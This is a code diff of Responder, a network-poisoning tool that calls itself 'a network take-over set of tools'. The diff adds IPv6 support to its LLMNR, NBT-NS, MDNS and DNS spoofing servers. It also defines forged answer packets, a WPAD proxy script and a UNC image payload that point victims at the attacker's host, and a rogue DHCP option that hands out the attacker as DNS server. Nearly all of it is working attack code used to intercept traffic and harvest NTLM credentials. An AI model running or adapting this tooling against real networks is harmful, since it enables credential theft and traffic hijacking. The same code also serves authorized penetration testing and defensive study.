@@ -151,51 +165,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
|||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
raise
|
pass
|
||||||
#pass
|
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
|
|
||||||
ThreadingUDPServer.allow_reuse_address = 1
|
ThreadingUDPServer.allow_reuse_address = 1
|
||||||
|
ThreadingUDPServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingTCPServer.allow_reuse_address = 1
|
ThreadingTCPServer.allow_reuse_address = 1
|
||||||
|
ThreadingTCPServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||||
|
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||||
|
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||||
|
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
||||||
|
|
||||||
def serve_thread_udp_broadcast(host, port, handler):
|
def serve_thread_udp_broadcast(host, port, handler):
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_NBTNS_poisoner(host, port, handler):
|
def serve_NBTNS_poisoner(host, port, handler):
|
||||||
serve_thread_udp_broadcast(host, port, handler)
|
serve_thread_udp_broadcast('', port, handler)
|
||||||
|
|
||||||
def serve_MDNS_poisoner(host, port, handler):
|
def serve_MDNS_poisoner(host, port, handler):
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
server = ThreadingUDPMDNSServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_LLMNR_poisoner(host, port, handler):
|
def serve_LLMNR_poisoner(host, port, handler):
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPLLMNRServer((host, port), handler)
|
server = ThreadingUDPLLMNRServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_thread_udp(host, port, handler):
|
def serve_thread_udp(host, port, handler):
|
||||||
try:
|
try:
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
else:
|
else:
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
@@ -203,10 +227,10 @@ def serve_thread_udp(host, port, handler):
|
|||||||
def serve_thread_tcp(host, port, handler):
|
def serve_thread_tcp(host, port, handler):
|
||||||
try:
|
try:
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
else:
|
else:
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
@@ -214,10 +238,10 @@ def serve_thread_tcp(host, port, handler):
|
|||||||
def serve_thread_tcp_auth(host, port, handler):
|
def serve_thread_tcp_auth(host, port, handler):
|
||||||
try:
|
try:
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
server = ThreadingTCPServerAuth((host, port), handler)
|
server = ThreadingTCPServerAuth(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
else:
|
else:
|
||||||
server = ThreadingTCPServerAuth((host, port), handler)
|
server = ThreadingTCPServerAuth(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
@@ -227,20 +251,26 @@ def serve_thread_SSL(host, port, handler):
|
|||||||
|
|
||||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||||
|
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
context.load_cert_chain(cert, key)
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer(('', port), handler)
|
||||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
else:
|
else:
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer(('', port), handler)
|
||||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
|
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
try:
|
try:
|
||||||
|
if (sys.version_info < (3, 0)):
|
||||||
|
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
|
||||||
|
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||||
|
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||||
@@ -335,19 +365,23 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||||
|
|
||||||
|
if settings.Config.SNMP_On_Off:
|
||||||
|
from servers.SNMP import SNMP
|
||||||
|
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
|
||||||
|
|
||||||
for thread in threads:
|
for thread in threads:
|
||||||
thread.setDaemon(True)
|
thread.daemon = True
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
|
|
||||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||||
|
if settings.Config.Quiet_Mode:
|
||||||
|
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
|
||||||
|
|
||||||
|
|
||||||
if settings.Config.DHCP_On_Off:
|
if settings.Config.DHCP_On_Off:
|
||||||
from poisoners.DHCP import DHCP
|
from poisoners.DHCP import DHCP
|
||||||
DHCP()
|
DHCP(settings.Config.DHCP_DNS)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|||||||
@@ -1,66 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
# This file is part of Responder, a network take-over set of tools
|
|
||||||
# created and maintained by Laurent Gaffie.
|
|
||||||
# email: laurent.gaffie@gmail.com
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
import socket
|
|
||||||
import struct
|
|
||||||
import sys
|
|
||||||
|
|
||||||
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
|
|
||||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
|
||||||
|
|
||||||
def OsNameClientVersion(data):
|
|
||||||
try:
|
|
||||||
if (sys.version_info > (3, 0)):
|
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
|
||||||
packet = NetworkRecvBufferPython2or3(data[47+length:])
|
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
|
|
||||||
return OsVersion, ClientVersion
|
|
||||||
else:
|
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
|
||||||
return OsVersion, ClientVersion
|
|
||||||
except:
|
|
||||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
|
||||||
|
|
||||||
def RunSmbFinger(host):
|
|
||||||
try:
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect(host)
|
|
||||||
s.settimeout(0.7)
|
|
||||||
|
|
||||||
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
|
|
||||||
n = SMBNego(data = str(SMBNegoFingerData()))
|
|
||||||
n.calculate()
|
|
||||||
Packet = str(h)+str(n)
|
|
||||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
|
||||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
|
||||||
data = s.recv(2048)
|
|
||||||
|
|
||||||
if data[8:10] == b'\x72\x00':
|
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
|
||||||
Body = SMBSessionFingerData()
|
|
||||||
Body.calculate()
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
|
||||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
|
||||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
|
||||||
data = s.recv(2048)
|
|
||||||
|
|
||||||
if data[8:10] == b'\x73\x16':
|
|
||||||
return OsNameClientVersion(data)
|
|
||||||
except:
|
|
||||||
print(color("[!] ", 1, 1) +" Fingerprint failed")
|
|
||||||
return None
|
|
||||||
9
odict.py
9
odict.py
@@ -1,9 +1,12 @@
|
|||||||
import sys
|
import sys
|
||||||
try:
|
try:
|
||||||
from UserDict import DictMixin
|
from UserDict import DictMixin
|
||||||
except ImportError:
|
except ImportError:
|
||||||
from collections import UserDict
|
from collections import UserDict
|
||||||
from collections import MutableMapping as DictMixin
|
try:
|
||||||
|
from collections import MutableMapping as DictMixin
|
||||||
|
except ImportError:
|
||||||
|
from collections.abc import MutableMapping as DictMixin
|
||||||
|
|
||||||
class OrderedDict(dict, DictMixin):
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
|||||||
153
packets.py
153
packets.py
@@ -23,7 +23,7 @@ import re
|
|||||||
from os import urandom
|
from os import urandom
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||||
|
|
||||||
# Packet class handling all packet generation (see odict.py).
|
# Packet class handling all packet generation (see odict.py).
|
||||||
class Packet():
|
class Packet():
|
||||||
@@ -89,7 +89,100 @@ class DNS_Ans(Packet):
|
|||||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
# DNS Answer Packet OPT
|
||||||
|
class DNS_AnsOPT(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x10"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x01"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x01"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x01"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
("OPTName", "\x00"),
|
||||||
|
("OPTType", "\x00\x29"),
|
||||||
|
("OPTUDPSize", "\x10\x00"),
|
||||||
|
("OPTRCode", "\x00"),
|
||||||
|
("OPTEDNSVersion", "\x00"),
|
||||||
|
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||||
|
("OPTStr", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
class DNS6_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x10"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x00"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x1c"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x1c"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
class DNS6_AnsOPT(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x10"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x01"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x1c"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x1c"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
("OPTName", "\x00"),
|
||||||
|
("OPTType", "\x00\x29"),
|
||||||
|
("OPTUDPSize", "\x10\x00"),
|
||||||
|
("OPTRCode", "\x00"),
|
||||||
|
("OPTEDNSVersion", "\x00"),
|
||||||
|
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||||
|
("OPTStr", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
class DNS_SRV_Ans(Packet):
|
class DNS_SRV_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Tid", ""),
|
("Tid", ""),
|
||||||
@@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
|
|||||||
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||||
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||||
|
|
||||||
|
class LLMNR6_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x80\x00"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x00"),
|
||||||
|
("QuestionNameLen", "\x09"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x1c"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerNameLen", "\x09"),
|
||||||
|
("AnswerName", ""),
|
||||||
|
("AnswerNameNull", "\x00"),
|
||||||
|
("Type1", "\x00\x1c"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||||
|
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||||
|
|
||||||
# MDNS Answer Packet
|
# MDNS Answer Packet
|
||||||
class MDNS_Ans(Packet):
|
class MDNS_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -200,6 +322,29 @@ class MDNS_Ans(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
# MDNS6 Answer Packet
|
||||||
|
class MDNS6_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", "\x00\x00"),
|
||||||
|
("Flags", "\x84\x00"),
|
||||||
|
("Question", "\x00\x00"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x00"),
|
||||||
|
("AnswerName", ""),
|
||||||
|
("AnswerNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x1c"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
################### DHCP SRV ######################
|
################### DHCP SRV ######################
|
||||||
@@ -299,7 +444,7 @@ class IIS_Auth_Granted(Packet):
|
|||||||
("ContentLen", "Content-Length: "),
|
("ContentLen", "Content-Length: "),
|
||||||
("ActualLen", "76"),
|
("ActualLen", "76"),
|
||||||
("CRLF", "\r\n\r\n"),
|
("CRLF", "\r\n\r\n"),
|
||||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||||
])
|
])
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||||
@@ -358,7 +503,7 @@ class WPADScript(Packet):
|
|||||||
("ContentLen", "Content-Length: "),
|
("ContentLen", "Content-Length: "),
|
||||||
("ActualLen", "76"),
|
("ActualLen", "76"),
|
||||||
("CRLF", "\r\n\r\n"),
|
("CRLF", "\r\n\r\n"),
|
||||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
|
||||||
])
|
])
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||||
@@ -2228,7 +2373,7 @@ class SamLogonResponseEx(Packet):
|
|||||||
("ServerName", settings.Config.MachineName),
|
("ServerName", settings.Config.MachineName),
|
||||||
("ServerTerminator", "\x00"),
|
("ServerTerminator", "\x00"),
|
||||||
("UsernameLen", "\x10"),
|
("UsernameLen", "\x10"),
|
||||||
("Username", "LGANDX"),
|
("Username", settings.Config.Username),
|
||||||
("UserTerminator", "\x00"),
|
("UserTerminator", "\x00"),
|
||||||
("SrvSiteNameLen", "\x17"),
|
("SrvSiteNameLen", "\x17"),
|
||||||
("SrvSiteName", "Default-First-Site-Name"),
|
("SrvSiteName", "Default-First-Site-Name"),
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
|
|||||||
sys.exit('This script is meant to be run with Python3')
|
sys.exit('This script is meant to be run with Python3')
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
|
import random
|
||||||
import optparse
|
import optparse
|
||||||
import configparser
|
import configparser
|
||||||
import os
|
import os
|
||||||
@@ -84,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st
|
|||||||
NETMASK = "255.255.255.0"
|
NETMASK = "255.255.255.0"
|
||||||
DNSIP = "0.0.0.0"
|
DNSIP = "0.0.0.0"
|
||||||
DNSIP2 = "0.0.0.0"
|
DNSIP2 = "0.0.0.0"
|
||||||
DNSNAME = "lan"
|
DNSNAME = "local"
|
||||||
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
||||||
Respond_To_Requests = True
|
Respond_To_Requests = True
|
||||||
DHCPClient = []
|
DHCPClient = []
|
||||||
@@ -197,22 +198,28 @@ class DHCPACK(Packet):
|
|||||||
("Op6", "\x06"),
|
("Op6", "\x06"),
|
||||||
("Op6Len", "\x08"),
|
("Op6Len", "\x08"),
|
||||||
("Op6Str", ""), #DNS Servers
|
("Op6Str", ""), #DNS Servers
|
||||||
("Op252", "\xfc"),
|
("Op252", ""),
|
||||||
("Op252Len", "\x04"),
|
("Op252Len", ""),
|
||||||
("Op252Str", ""), #Wpad Server
|
("Op252Str", ""), #Wpad Server
|
||||||
("Op255", "\xff"),
|
("Op255", "\xff"),
|
||||||
("Padding", "\x00"),
|
("Padding", "\x00"),
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self, DHCP_DNS):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
self.fields["Op15Str"] = DNSNAME
|
self.fields["Op15Str"] = DNSNAME
|
||||||
self.fields["Op252Str"] = WPADSRV
|
if DHCP_DNS:
|
||||||
|
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
|
else:
|
||||||
|
self.fields["Op252"] = "\xfc"
|
||||||
|
self.fields["Op252Str"] = WPADSRV
|
||||||
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
|
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
|
||||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
|
||||||
|
|
||||||
def RespondToThisIP(ClientIp):
|
def RespondToThisIP(ClientIp):
|
||||||
if ClientIp.startswith('127.0.0.'):
|
if ClientIp.startswith('127.0.0.'):
|
||||||
@@ -236,7 +243,7 @@ def FindIP(data):
|
|||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
